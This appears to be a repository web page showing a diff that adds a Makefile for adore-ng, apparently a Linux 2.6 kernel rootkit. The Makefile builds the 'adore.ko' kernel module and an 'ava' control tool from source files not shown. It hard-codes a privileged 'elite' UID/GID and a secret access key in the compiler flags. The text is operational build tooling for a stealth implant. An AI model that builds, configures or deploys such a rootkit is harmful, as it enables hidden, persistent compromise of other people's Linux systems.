summaryrefslogtreecommitdiff
path: root/other/adore-ng/Makefile.2.6.gen
diff options
context:
space:
mode:
Diffstat (limited to 'other/adore-ng/Makefile.2.6.gen')
-rw-r--r--other/adore-ng/Makefile.2.6.gen29
1 files changed, 29 insertions, 0 deletions
diff --git a/other/adore-ng/Makefile.2.6.gen b/other/adore-ng/Makefile.2.6.gen
new file mode 100644
index 0000000..78ea182
--- /dev/null
+++ b/other/adore-ng/Makefile.2.6.gen
@@ -0,0 +1,29 @@
1#
2CC=cc
3CFLAGS=-O2 -Wall
4
5CFLAGS+=-mcpu=i486
6INC=-I/mnt/linux-2.6.3/include -I.
7CFLAGS+=-DKBUILD_MODNAME=adore -DKBUILD_BASENAME=adore -fno-common
8CFLAGS+=-DELITE_UID=2618748389U -DELITE_GID=4063569279U
9CFLAGS+=-DCURRENT_ADORE=41
10CFLAGS+=-DADORE_KEY=\"fgjgggfd\"
11
12#CFLAGS+=-D__SMP__
13
14#CFLAGS+=-DMODVERSIONS
15
16all: adore-ng ava
17
18adore-ng: adore-ng-2.6.c
19 rm -f adore-ng.o
20 $(CC) -c $(INC) $(CFLAGS) adore-ng.mod.c -o adore-ng.mod.o
21 $(CC) -c $(INC) $(CFLAGS) adore-ng-2.6.c -o adore-ng.o
22 ld -m elf_i386 -r -o adore.ko adore-ng.o adore-ng.mod.o
23
24ava: ava.c libinvisible.c
25 $(CC) $(CFLAGS) ava.c libinvisible.c -o ava
26
27clean:
28 rm -f core ava *.o
29